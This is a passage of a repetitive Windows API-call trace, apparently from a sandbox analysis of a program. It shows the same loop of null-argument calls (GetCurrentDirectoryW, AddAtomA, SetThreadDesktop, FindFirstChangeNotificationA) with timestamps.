(in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.305] GetLastError () returned 0x3 [0110.305] AddAtomA (lpString=0x0) returned 0x0 [0110.305] AddAtomA (lpString=0x0) returned 0x0 [0110.305] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.305] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.305] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.305] GetLastError () returned 0x3 [0110.305] AddAtomA (lpString=0x0) returned 0x0 [0110.305] AddAtomA (lpString=0x0) returned 0x0 [0110.305] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.305] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.306] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.306] GetLastError () returned 0x3 [0110.306] AddAtomA (lpString=0x0) returned 0x0 [0110.306] AddAtomA (lpString=0x0) returned 0x0 [0110.306] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.306] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.306] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.306] GetLastError () returned 0x3 [0110.306] AddAtomA (lpString=0x0) returned 0x0 [0110.306] AddAtomA (lpString=0x0) returned 0x0 [0110.306] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.306] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.306] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.306] GetLastError () returned 0x3 [0110.306] AddAtomA (lpString=0x0) returned 0x0 [0110.306] AddAtomA (lpString=0x0) returned 0x0 [0110.306] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.306] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.306] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.306] GetLastError () returned 0x3 [0110.306] AddAtomA (lpString=0x0) returned 0x0 [0110.306] AddAtomA (lpString=0x0) returned 0x0 [0110.306] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.306] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.306] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.306] GetLastError () returned 0x3 [0110.306] AddAtomA (lpString=0x0) returned 0x0 [0110.306] AddAtomA (lpString=0x0) returned 0x0 [0110.306] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.306] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.306] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.306] GetLastError () returned 0x3 [0110.306] AddAtomA (lpString=0x0) returned 0x0 [0110.306] AddAtomA (lpString=0x0) returned 0x0 [0110.306] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.306] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.306] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.306] GetLastError () returned 0x3 [0110.306] AddAtomA (lpString=0x0) returned 0x0 [0110.306] AddAtomA (lpString=0x0) returned 0x0 [0110.306] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.306] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.306] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.306] GetLastError () returned 0x3 [0110.307] AddAtomA (lpString=0x0) returned 0x0 [0110.307] AddAtomA (lpString=0x0) returned 0x0 [0110.307] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.307] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.307] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.307] GetLastError () returned 0x3 [0110.307] AddAtomA (lpString=0x0) returned 0x0 [0110.307] AddAtomA (lpString=0x0) returned 0x0 [0110.307] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.307] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.307] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.307] GetLastError () returned 0x3 [0110.307] AddAtomA (lpString=0x0) returned 0x0 [0110.307] AddAtomA (lpString=0x0) returned 0x0 [0110.307] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.307] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.307] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.307] GetLastError () returned 0x3 [0110.307] AddAtomA (lpString=0x0) returned 0x0 [0110.307] AddAtomA (lpString=0x0) returned 0x0 [0110.307] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.307] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.307] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.307] GetLastError () returned 0x3 [0110.307] AddAtomA (lpString=0x0) returned 0x0 [0110.307] AddAtomA (lpString=0x0) returned 0x0 [0110.307] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.307] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.307] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.307] GetLastError () returned 0x3 [0110.307] AddAtomA (lpString=0x0) returned 0x0 [0110.307] AddAtomA (lpString=0x0) returned 0x0 [0110.307] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.307] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.308] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.308] GetLastError () returned 0x3 [0110.308] AddAtomA (lpString=0x0) returned 0x0 [0110.308] AddAtomA (lpString=0x0) returned 0x0 [0110.308] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.308] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.308] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.308] GetLastError () returned 0x3 [0110.308] AddAtomA (lpString=0x0) returned 0x0 [0110.308] AddAtomA (lpString=0x0) returned 0x0 [0110.308] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.308] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.308] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.308] GetLastError () returned 0x3 [0110.308] AddAtomA (lpString=0x0) returned 0x0 [0110.308] AddAtomA (lpString=0x0) returned 0x0 [0110.308] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.308] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.308] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.308] GetLastError () returned 0x3 [0110.308] AddAtomA (lpString=0x0) returned 0x0 [0110.308] AddAtomA (lpString=0x0) returned 0x0 [0110.308] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.308] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.308] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.308] GetLastError () returned 0x3 [0110.308] AddAtomA (lpString=0x0) returned 0x0 [0110.308] AddAtomA (lpString=0x0) returned 0x0 [0110.308] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.308] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.308] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.308] GetLastError () returned 0x3 [0110.308] AddAtomA (lpString=0x0) returned 0x0 [0110.308] AddAtomA (lpString=0x0) returned 0x0 [0110.308] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.309] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.309] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.309] GetLastError () returned 0x3 [0110.309] AddAtomA (lpString=0x0) returned 0x0 [0110.309] AddAtomA (lpString=0x0) returned 0x0 [0110.309] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.309] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.309] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.309] GetLastError () returned 0x3 [0110.309] AddAtomA (lpString=0x0) returned 0x0 [0110.309] AddAtomA (lpString=0x0) returned 0x0 [0110.309] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.309] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.309] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.309] GetLastError () returned 0x3 [0110.309] AddAtomA (lpString=0x0) returned 0x0 [0110.309] AddAtomA (lpString=0x0) returned 0x0 [0110.309] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.309] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.309] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.309] GetLastError () returned 0x3 [0110.309] AddAtomA (lpString=0x0) returned 0x0 [0110.309] AddAtomA (lpString=0x0) returned 0x0 [0110.309] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.309] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.309] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.309] GetLastError () returned 0x3 [0110.309] AddAtomA (lpString=0x0) returned 0x0 [0110.309] AddAtomA (lpString=0x0) returned 0x0 [0110.309] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.309] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.309] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.309] GetLastError () returned 0x3 [0110.309] AddAtomA (lpString=0x0) returned 0x0 [0110.309] AddAtomA (lpString=0x0) returned 0x0 [0110.309] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.310] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.310] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.310] GetLastError () returned 0x3 [0110.310] AddAtomA (lpString=0x0) returned 0x0 [0110.310] AddAtomA (lpString=0x0) returned 0x0 [0110.310] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.310] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.310] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.310] GetLastError () returned 0x3 [0110.310] AddAtomA (lpString=0x0) returned 0x0 [0110.310] AddAtomA (lpString=0x0) returned 0x0 [0110.310] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.310] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.310] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.310] GetLastError () returned 0x3 [0110.310] AddAtomA (lpString=0x0) returned 0x0 [0110.310] AddAtomA (lpString=0x0) returned 0x0 [0110.310] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.310] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.310] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.310] GetLastError () returned 0x3 [0110.310] AddAtomA (lpString=0x0) returned 0x0 [0110.310] AddAtomA (lpString=0x0) returned 0x0 [0110.310] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.310] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.310] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.310] GetLastError () returned 0x3 [0110.310] AddAtomA (lpString=0x0) returned 0x0 [0110.310] AddAtomA (lpString=0x0) returned 0x0 [0110.310] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.310] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.310] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.310] GetLastError () returned 0x3 [0110.310] AddAtomA (lpString=0x0) returned 0x0 [0110.311] AddAtomA (lpString=0x0) returned 0x0 [0110.311] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.311] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.311] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.311] GetLastError () returned 0x3 [0110.311] AddAtomA (lpString=0x0) returned 0x0 [0110.311] AddAtomA (lpString=0x0) returned 0x0 [0110.311] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.311] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.311] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.311] GetLastError () returned 0x3 [0110.311] AddAtomA (lpString=0x0) returned 0x0 [0110.311] AddAtomA (lpString=0x0) returned 0x0 [0110.311] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.311] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.311] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.311] GetLastError () returned 0x3 [0110.311] AddAtomA (lpString=0x0) returned 0x0 [0110.311] AddAtomA (lpString=0x0) returned 0x0 [0110.311] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.311] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.311] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.311] GetLastError () returned 0x3 [0110.311] AddAtomA (lpString=0x0) returned 0x0 [0110.311] AddAtomA (lpString=0x0) returned 0x0 [0110.311] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.311] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.311] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.311] GetLastError () returned 0x3 [0110.311] AddAtomA (lpString=0x0) returned 0x0 [0110.311] AddAtomA (lpString=0x0) returned 0x0 [0110.311] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.311] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.311] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.311] GetLastError () returned 0x3 [0110.312] AddAtomA (lpString=0x0) returned 0x0 [0110.312] AddAtomA (lpString=0x0) returned 0x0 [0110.312] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.312] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.312] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.312] GetLastError () returned 0x3 [0110.312] AddAtomA (lpString=0x0) returned 0x0 [0110.312] AddAtomA (lpString=0x0) returned 0x0 [0110.312] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.312] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.312] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.312] GetLastError () returned 0x3 [0110.312] AddAtomA (lpString=0x0) returned 0x0 [0110.312] AddAtomA (lpString=0x0) returned 0x0 [0110.312] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.312] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.312] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.312] GetLastError () returned 0x3 [0110.312] AddAtomA (lpString=0x0) returned 0x0 [0110.312] AddAtomA (lpString=0x0) returned 0x0 [0110.312] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.312] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.312] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.312] GetLastError () returned 0x3 [0110.312] AddAtomA (lpString=0x0) returned 0x0 [0110.312] AddAtomA (lpString=0x0) returned 0x0 [0110.312] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.312] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.312] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.312] GetLastError () returned 0x3 [0110.312] AddAtomA (lpString=0x0) returned 0x0 [0110.312] AddAtomA (lpString=0x0) returned 0x0 [0110.312] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.312] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.313] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.313] GetLastError () returned 0x3 [0110.313] AddAtomA (lpString=0x0) returned 0x0 [0110.313] AddAtomA (lpString=0x0) returned 0x0 [0110.313] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.313] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.313] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.313] GetLastError () returned 0x3 [0110.313] AddAtomA (lpString=0x0) returned 0x0 [0110.313] AddAtomA (lpString=0x0) returned 0x0 [0110.313] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.313] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.313] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.313] GetLastError () returned 0x3 [0110.313] AddAtomA (lpString=0x0) returned 0x0 [0110.313] AddAtomA (lpString=0x0) returned 0x0 [0110.313] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.313] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.313] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.313] GetLastError () returned 0x3 [0110.313] AddAtomA (lpString=0x0) returned 0x0 [0110.313] AddAtomA (lpString=0x0) returned 0x0 [0110.313] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.313] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.313] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.313] GetLastError () returned 0x3 [0110.313] AddAtomA (lpString=0x0) returned 0x0 [0110.313] AddAtomA (lpString=0x0) returned 0x0 [0110.313] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.313] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.313] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.313] GetLastError () returned 0x3 [0110.313] AddAtomA (lpString=0x0) returned 0x0 [0110.313] AddAtomA (lpString=0x0) returned 0x0 [0110.313] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.314] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.314] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.314] GetLastError () returned 0x3 [0110.314] AddAtomA (lpString=0x0) returned 0x0 [0110.314] AddAtomA (lpString=0x0) returned 0x0 [0110.314] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.314] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.314] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.314] GetLastError () returned 0x3 [0110.314] AddAtomA (lpString=0x0) returned 0x0 [0110.314] AddAtomA (lpString=0x0) returned 0x0 [0110.314] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.314] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.314] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.314] GetLastError () returned 0x3 [0110.314] AddAtomA (lpString=0x0) returned 0x0 [0110.314] AddAtomA (lpString=0x0) returned 0x0 [0110.314] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.314] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.314] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.314] GetLastError () returned 0x3 [0110.314] AddAtomA (lpString=0x0) returned 0x0 [0110.314] AddAtomA (lpString=0x0) returned 0x0 [0110.314] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.314] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.314] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.314] GetLastError () returned 0x3 [0110.314] AddAtomA (lpString=0x0) returned 0x0 [0110.314] AddAtomA (lpString=0x0) returned 0x0 [0110.314] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.314] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.314] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.314] GetLastError () returned 0x3 [0110.314] AddAtomA (lpString=0x0) returned 0x0 [0110.314] AddAtomA (lpString=0x0) returned 0x0 [0110.315] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.315] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.315] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.315] GetLastError () returned 0x3 [0110.315] AddAtomA (lpString=0x0) returned 0x0 [0110.315] AddAtomA (lpString=0x0) returned 0x0 [0110.315] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.315] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.315] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.315] GetLastError () returned 0x3 [0110.315] AddAtomA (lpString=0x0) returned 0x0 [0110.315] AddAtomA (lpString=0x0) returned 0x0 [0110.315] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.315] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.315] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.315] GetLastError () returned 0x3 [0110.315] AddAtomA (lpString=0x0) returned 0x0 [0110.315] AddAtomA (lpString=0x0) returned 0x0 [0110.315] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.315] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.315] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.315] GetLastError () returned 0x3 [0110.315] AddAtomA (lpString=0x0) returned 0x0 [0110.315] AddAtomA (lpString=0x0) returned 0x0 [0110.315] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.315] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.315] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.315] GetLastError () returned 0x3 [0110.315] AddAtomA (lpString=0x0) returned 0x0 [0110.315] AddAtomA (lpString=0x0) returned 0x0 [0110.315] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.315] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.315] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.315] GetLastError () returned 0x3 [0110.315] AddAtomA (lpString=0x0) returned 0x0 [0110.315] AddAtomA (lpString=0x0) returned 0x0 [0110.316] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.316] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.316] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.316] GetLastError () returned 0x3 [0110.316] AddAtomA (lpString=0x0) returned 0x0 [0110.316] AddAtomA (lpString=0x0) returned 0x0 [0110.316] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.316] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.316] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.316] GetLastError () returned 0x3 [0110.316] AddAtomA (lpString=0x0) returned 0x0 [0110.316] AddAtomA (lpString=0x0) returned 0x0 [0110.316] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.316] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.316] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.316] GetLastError () returned 0x3 [0110.316] AddAtomA (lpString=0x0) returned 